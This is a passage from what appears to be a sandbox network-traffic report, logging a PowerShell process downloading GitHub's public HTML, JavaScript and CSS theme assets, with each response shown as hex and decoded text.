2024-09-30 13:50:02 UTC	1370	IN	Data Raw: 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 64 61 72 6b 5f 64 69 6d 6d 65 64 2d 61 66 64 61 38 65 62 30 66 62 33 33 2e 63 73 73 22 20 2f 3e 3c 6c 69 6e 6b 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 3d 22 64 61 72 6b 5f 68 69 67 68 5f 63 6f 6e 74 72 61 73 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 64 61 72 6b 5f 68 69 67 68 5f 63 6f 6e 74 72 61 73 74 2d 32 34 39 34 65 34 34 63 63 64 63 35 2e 63 73 73 22 20 2f 3e 3c 6c 69 6e 6b Data Ascii: /github.githubassets.com/assets/dark_dimmed-afda8eb0fb33.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-2494e44ccdc5.css" /><link
2024-09-30 13:50:02 UTC	1370	IN	Data Raw: 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 70 72 69 6d 65 72 2d 66 65 66 62 31 61 33 33 32 63 32 38 2e 63 73 73 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 67 6c 6f 62 61 6c 2d 31 30 33 65 62 65 35 35 66 39 64 39 2e 63 73 73 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c Data Ascii: t" href="https://github.githubassets.com/assets/primer-fefb1a332c28.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-103ebe55f9d9.css" /> <link crossorigin="anonymous" media="al
2024-09-30 13:50:02 UTC	1370	IN	Data Raw: 5f 75 70 64 61 74 65 73 5f 73 65 70 74 31 37 22 2c 22 63 6f 70 69 6c 6f 74 5f 73 69 74 65 5f 75 70 64 61 74 65 73 5f 73 65 70 74 31 39 22 2c 22 63 6f 70 69 6c 6f 74 5f 73 69 74 65 5f 75 70 64 61 74 65 73 5f 73 65 70 74 32 33 22 2c 22 63 6f 70 69 6c 6f 74 5f 73 6d 65 6c 6c 5f 69 63 65 62 72 65 61 6b 65 72 5f 75 78 22 2c 22 65 6e 74 65 72 70 72 69 73 65 5f 63 6f 6e 74 61 63 74 5f 6a 6f 62 5f 74 69 74 6c 65 22 2c 22 65 78 70 65 72 69 6d 65 6e 74 61 74 69 6f 6e 5f 61 7a 75 72 65 5f 76 61 72 69 61 6e 74 5f 65 6e 64 70 6f 69 6e 74 22 2c 22 66 61 69 6c 62 6f 74 5f 68 61 6e 64 6c 65 5f 6e 6f 6e 5f 65 72 72 6f 72 73 22 2c 22 67 65 6f 6a 73 6f 6e 5f 61 7a 75 72 65 5f 6d 61 70 73 22 2c 22 67 68 6f 73 74 5f 70 69 6c 6f 74 5f 63 6f 6e 66 69 64 65 6e 63 65 5f 74 72 75 Data Ascii: _updates_sept17","copilot_site_updates_sept19","copilot_site_updates_sept23","copilot_smell_icebreaker_ux","enterprise_contact_job_title","experimentation_azure_variant_endpoint","failbot_handle_non_errors","geojson_azure_maps","ghost_pilot_confidence_tru
2024-09-30 13:50:02 UTC	1370	IN	Data Raw: 75 6c 65 73 5f 67 69 74 68 75 62 5f 61 72 69 61 6e 6f 74 69 66 79 2d 70 6f 6c 79 66 69 6c 6c 5f 61 72 69 61 4e 6f 74 69 66 79 2d 70 6f 6c 79 66 69 6c 6c 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 2d 32 34 37 30 39 32 2d 62 39 63 37 63 66 33 31 30 37 62 37 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 75 69 5f 70 61 63 6b 61 67 65 73 5f 66 61 69 6c 62 6f 74 5f 66 61 69 Data Ascii: ules_github_arianotify-polyfill_ariaNotify-polyfill_js-node_modules_github_mi-247092-b9c7cf3107b7.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_failbot_fai
2024-09-30 13:50:02 UTC	1370	IN	Data Raw: 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 74 65 78 74 2d 65 78 70 61 6e 64 65 72 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 65 34 30 65 64 37 36 35 38 61 37 34 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d Data Ascii: ps://github.githubassets.com/assets/vendors-node_modules_github_text-expander-element_dist_index_js-e40ed7658a74.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-
2024-09-30 13:50:02 UTC	1370	IN	Data Raw: 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 65 6c 65 6d 65 6e 74 2d 72 65 67 69 73 74 72 79 2d 66 35 32 61 35 30 61 30 34 34 39 62 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 63 61 74 61 6c 79 73 74 5f 6c 69 62 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 Data Ascii: /github.githubassets.com/assets/element-registry-f52a50a0449b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_catalyst_lib_index_js-node_modu
2024-09-30 13:50:02 UTC	1370	IN	Data Raw: 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 74 75 72 62 6f 5f 64 69 73 74 5f 74 75 72 62 6f 5f 65 73 32 30 31 37 2d 65 73 6d 5f 6a 73 2d 38 35 38 65 30 34 33 66 63 66 37 36 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 72 65 6d 6f 74 65 2d 66 6f 72 6d 5f 64 69 Data Ascii: assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-858e043fcf76.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_di

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49709	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:10 UTC	355	OUT	GET /assets/dark-9c5b7a476542.css HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:10 UTC	681	IN	HTTP/1.1 200 OK Connection: close Content-Length: 50114 Cache-Control: public, max-age=31536000, immutable Content-Type: text/css Last-Modified: Tue, 27 Aug 2024 20:35:59 GMT ETag: "0x8DCC6D7DBFA7D4F" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2903396 Date: Mon, 30 Sep 2024 13:50:10 GMT X-Served-By: cache-iad-kiad7000157-IAD, cache-ewr-kewr1740072-EWR X-Cache: HIT, HIT X-Cache-Hits: 22, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 3b6e72c182f6e28b6a1ebf598efcc441eadf0833
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 64 61 72 6b 22 5d 5b 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 5d 2c 0a 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 64 61 72 6b 22 5d 5b 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 5d 20 3a 3a 62 61 63 6b 64 72 6f 70 2c 0a 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 5d 5b 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 5d 2c 0a 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 5d 5b 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 5d 20 3a 3a 62 61 63 6b 64 72 6f 70 20 7b 0a 20 20 2d 2d 74 6f 70 69 63 54 61 67 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 3a 20 23 30 30 30 Data Ascii: [data-color-mode="dark"][data-dark-theme="dark"],[data-color-mode="dark"][data-dark-theme="dark"] ::backdrop,[data-color-mode="auto"][data-light-theme="dark"],[data-color-mode="auto"][data-light-theme="dark"] ::backdrop { --topicTag-borderColor: #000
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 66 67 43 6f 6c 6f 72 2d 63 6f 6d 6d 65 6e 74 3a 20 23 36 35 36 63 37 36 3b 0a 20 20 2d 2d 63 6f 64 65 4d 69 72 72 6f 72 2d 73 79 6e 74 61 78 2d 66 67 43 6f 6c 6f 72 2d 63 6f 6e 73 74 61 6e 74 3a 20 23 37 39 63 30 66 66 3b 0a 20 20 2d 2d 63 6f 64 65 4d 69 72 72 6f 72 2d 73 79 6e 74 61 78 2d 66 67 43 6f 6c 6f 72 2d 65 6e 74 69 74 79 3a 20 23 64 32 61 38 66 66 3b 0a 20 20 2d 2d 63 6f 64 65 4d 69 72 72 6f 72 2d 73 79 6e 74 61 78 2d 66 67 43 6f 6c 6f 72 2d 6b 65 79 77 6f 72 64 3a 20 23 66 66 37 62 37 32 3b 0a 20 20 2d 2d 63 6f 64 65 4d 69 72 72 6f 72 2d 73 79 6e 74 61 78 2d 66 67 43 6f 6c 6f 72 2d 73 74 6f 72 61 67 65 3a 20 23 66 66 37 62 37 32 3b 0a 20 20 2d 2d 63 6f 64 65 4d 69 72 72 6f 72 2d 73 79 6e 74 61 78 2d 66 67 43 6f 6c 6f 72 2d 73 74 72 69 6e 67 3a Data Ascii: fgColor-comment: #656c76; --codeMirror-syntax-fgColor-constant: #79c0ff; --codeMirror-syntax-fgColor-entity: #d2a8ff; --codeMirror-syntax-fgColor-keyword: #ff7b72; --codeMirror-syntax-fgColor-storage: #ff7b72; --codeMirror-syntax-fgColor-string:
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 20 23 30 30 31 61 34 37 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 62 6c 75 65 2d 62 67 43 6f 6c 6f 72 2d 65 6d 70 68 61 73 69 73 3a 20 23 30 30 35 62 64 31 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 62 6c 75 65 2d 66 67 43 6f 6c 6f 72 3a 20 23 34 64 61 30 66 66 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 62 6c 75 65 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 6d 75 74 65 64 3a 20 23 30 30 32 37 36 36 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 62 6c 75 65 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 65 6d 70 68 61 73 69 73 3a 20 23 30 35 37 36 66 66 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 67 72 65 65 6e 2d 62 67 43 6f 6c 6f 72 2d 6d 75 74 65 64 3a 20 23 31 32 32 31 31 37 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 67 72 65 65 6e 2d 62 67 43 6f 6c 6f 72 2d 65 6d 70 68 61 Data Ascii: #001a47; --display-blue-bgColor-emphasis: #005bd1; --display-blue-fgColor: #4da0ff; --display-blue-borderColor-muted: #002766; --display-blue-borderColor-emphasis: #0576ff; --display-green-bgColor-muted: #122117; --display-green-bgColor-empha
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 72 3a 20 23 66 32 37 64 38 33 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 63 6f 72 61 6c 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 6d 75 74 65 64 3a 20 23 35 38 30 39 31 61 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 63 6f 72 61 6c 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 65 6d 70 68 61 73 69 73 3a 20 23 65 62 33 33 34 32 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 79 65 6c 6c 6f 77 2d 62 67 43 6f 6c 6f 72 2d 6d 75 74 65 64 3a 20 23 32 65 31 61 30 30 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 79 65 6c 6c 6f 77 2d 62 67 43 6f 6c 6f 72 2d 65 6d 70 68 61 73 69 73 3a 20 23 38 39 35 39 30 36 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 79 65 6c 6c 6f 77 2d 66 67 43 6f 6c 6f 72 3a 20 23 64 33 39 31 30 64 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 79 65 6c 6c 6f 77 2d 62 6f 72 Data Ascii: r: #f27d83; --display-coral-borderColor-muted: #58091a; --display-coral-borderColor-emphasis: #eb3342; --display-yellow-bgColor-muted: #2e1a00; --display-yellow-bgColor-emphasis: #895906; --display-yellow-fgColor: #d3910d; --display-yellow-bor
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 70 6c 61 79 2d 6f 6c 69 76 65 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 65 6d 70 68 61 73 69 73 3a 20 23 37 61 38 33 32 31 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 6c 69 6d 65 2d 62 67 43 6f 6c 6f 72 2d 6d 75 74 65 64 3a 20 23 31 34 31 66 30 66 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 6c 69 6d 65 2d 62 67 43 6f 6c 6f 72 2d 65 6d 70 68 61 73 69 73 3a 20 23 34 39 36 63 32 38 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 6c 69 6d 65 2d 66 67 43 6f 6c 6f 72 3a 20 23 37 64 61 65 33 37 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 6c 69 6d 65 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 6d 75 74 65 64 3a 20 23 31 66 33 31 31 36 3b 0a 20 20 2d 2d 64 69 73 70 6c 61 79 2d 6c 69 6d 65 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 65 6d 70 68 61 73 69 73 3a 20 23 35 66 38 39 32 66 3b 0a Data Ascii: play-olive-borderColor-emphasis: #7a8321; --display-lime-bgColor-muted: #141f0f; --display-lime-bgColor-emphasis: #496c28; --display-lime-fgColor: #7dae37; --display-lime-borderColor-muted: #1f3116; --display-lime-borderColor-emphasis: #5f892f;
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 43 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 32 36 3b 0a 20 20 2d 2d 61 76 61 74 61 72 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 30 70 78 20 30 70 78 20 32 70 78 20 23 30 64 31 31 31 37 3b 0a 20 20 2d 2d 61 76 61 74 61 72 53 74 61 63 6b 2d 66 61 64 65 2d 62 67 43 6f 6c 6f 72 2d 64 65 66 61 75 6c 74 3a 20 23 33 64 34 34 34 64 3b 0a 20 20 2d 2d 61 76 61 74 61 72 53 74 61 63 6b 2d 66 61 64 65 2d 62 67 43 6f 6c 6f 72 2d 6d 75 74 65 64 3a 20 23 32 61 33 31 33 63 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 62 67 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 32 31 32 38 33 30 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 62 67 43 6f 6c 6f 72 2d 68 6f 76 65 72 3a 20 23 32 36 32 63 33 36 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 62 67 43 6f 6c 6f 72 2d 61 63 74 69 76 65 3a 20 23 32 Data Ascii: Color: #ffffff26; --avatar-shadow: 0px 0px 0px 2px #0d1117; --avatarStack-fade-bgColor-default: #3d444d; --avatarStack-fade-bgColor-muted: #2a313c; --control-bgColor-rest: #212830; --control-bgColor-hover: #262c36; --control-bgColor-active: #2
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 36 36 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 63 68 65 63 6b 65 64 2d 62 67 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 31 66 36 66 65 62 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 63 68 65 63 6b 65 64 2d 62 67 43 6f 6c 6f 72 2d 68 6f 76 65 72 3a 20 23 32 61 37 61 65 66 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 63 68 65 63 6b 65 64 2d 62 67 43 6f 6c 6f 72 2d 61 63 74 69 76 65 3a 20 23 33 36 38 35 66 33 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 63 68 65 63 6b 65 64 2d 62 67 43 6f 6c 6f 72 2d 64 69 73 61 62 6c 65 64 3a 20 23 36 35 36 63 37 36 39 39 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 63 68 65 63 6b 65 64 2d 66 67 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 63 68 65 63 6b 65 64 2d 66 67 43 6f 6c 6f 72 Data Ascii: 66; --control-checked-bgColor-rest: #1f6feb; --control-checked-bgColor-hover: #2a7aef; --control-checked-bgColor-active: #3685f3; --control-checked-bgColor-disabled: #656c7699; --control-checked-fgColor-rest: #ffffff; --control-checked-fgColor
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 75 6c 74 2d 62 67 43 6f 6c 6f 72 2d 73 65 6c 65 63 74 65 64 3a 20 23 32 61 33 31 33 63 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 67 43 6f 6c 6f 72 2d 64 69 73 61 62 6c 65 64 3a 20 23 32 31 32 38 33 30 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 33 64 34 34 34 64 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 68 6f 76 65 72 3a 20 23 33 64 34 34 34 64 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 61 63 74 69 76 65 3a 20 23 33 64 34 34 34 64 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 64 69 73 61 62 6c Data Ascii: ult-bgColor-selected: #2a313c; --button-default-bgColor-disabled: #212830; --button-default-borderColor-rest: #3d444d; --button-default-borderColor-hover: #3d444d; --button-default-borderColor-active: #3d444d; --button-default-borderColor-disabl
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 6f 6e 2d 69 6e 76 69 73 69 62 6c 65 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 30 30 30 30 30 30 30 30 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 69 6e 76 69 73 69 62 6c 65 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 68 6f 76 65 72 3a 20 23 30 30 30 30 30 30 30 30 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 69 6e 76 69 73 69 62 6c 65 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 64 69 73 61 62 6c 65 64 3a 20 23 36 35 36 63 37 36 31 61 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 6f 75 74 6c 69 6e 65 2d 66 67 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 33 38 38 62 66 64 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 6f 75 74 6c 69 6e 65 2d 66 67 43 6f 6c 6f 72 2d 68 6f 76 65 72 3a 20 23 35 38 61 36 66 66 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 2d 6f 75 74 6c 69 6e 65 2d 66 67 43 6f Data Ascii: on-invisible-borderColor-rest: #00000000; --button-invisible-borderColor-hover: #00000000; --button-invisible-borderColor-disabled: #656c761a; --button-outline-fgColor-rest: #388bfd; --button-outline-fgColor-hover: #58a6ff; --button-outline-fgCo
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 74 61 72 2d 69 63 6f 6e 43 6f 6c 6f 72 3a 20 23 65 33 62 33 34 31 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 43 6f 75 6e 74 65 72 2d 64 65 66 61 75 6c 74 2d 62 67 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 32 66 33 37 34 32 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 43 6f 75 6e 74 65 72 2d 69 6e 76 69 73 69 62 6c 65 2d 62 67 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 36 35 36 63 37 36 33 33 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 43 6f 75 6e 74 65 72 2d 70 72 69 6d 61 72 79 2d 62 67 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 30 34 32 36 30 66 33 33 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 43 6f 75 6e 74 65 72 2d 6f 75 74 6c 69 6e 65 2d 62 67 43 6f 6c 6f 72 2d 72 65 73 74 3a 20 23 30 35 31 64 34 64 33 33 3b 0a 20 20 2d 2d 62 75 74 74 6f 6e 43 6f 75 6e 74 65 72 2d 6f 75 74 6c 69 6e 65 2d 62 Data Ascii: tar-iconColor: #e3b341; --buttonCounter-default-bgColor-rest: #2f3742; --buttonCounter-invisible-bgColor-rest: #656c7633; --buttonCounter-primary-bgColor-rest: #04260f33; --buttonCounter-outline-bgColor-rest: #051d4d33; --buttonCounter-outline-b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49708	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:10 UTC	356	OUT	GET /assets/light-3e154969b9f9.css HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:10 UTC	681	IN	HTTP/1.1 200 OK Connection: close Content-Length: 50100 Cache-Control: public, max-age=31536000, immutable Content-Type: text/css Last-Modified: Tue, 27 Aug 2024 20:36:01 GMT ETag: "0x8DCC6D7DD54695E" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1760294 Date: Mon, 30 Sep 2024 13:50:10 GMT X-Served-By: cache-iad-kcgs7200095-IAD, cache-ewr-kewr1740030-EWR X-Cache: HIT, HIT X-Cache-Hits: 22, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: bccd869857c287b4807cfdce9f42678ad3e9b3ed
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 6c 69 67 68 74 22 5d 5b 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 5d 2c 0a 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 6c 69 67 68 74 22 5d 5b 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 5d 20 3a 3a 62 61 63 6b 64 72 6f 70 2c 0a 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 5d 5b 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 5d 2c 0a 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 5d 5b 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 5d 20 3a 3a 62 61 63 6b 64 72 6f 70 20 7b 0a 20 20 2d 2d 74 6f 70 69 63 54 61 67 2d 62 6f 72 64 65 72 43 6f 6c Data Ascii: [data-color-mode="light"][data-light-theme="light"],[data-color-mode="light"][data-light-theme="light"] ::backdrop,[data-color-mode="auto"][data-light-theme="light"],[data-color-mode="auto"][data-light-theme="light"] ::backdrop { --topicTag-borderCol
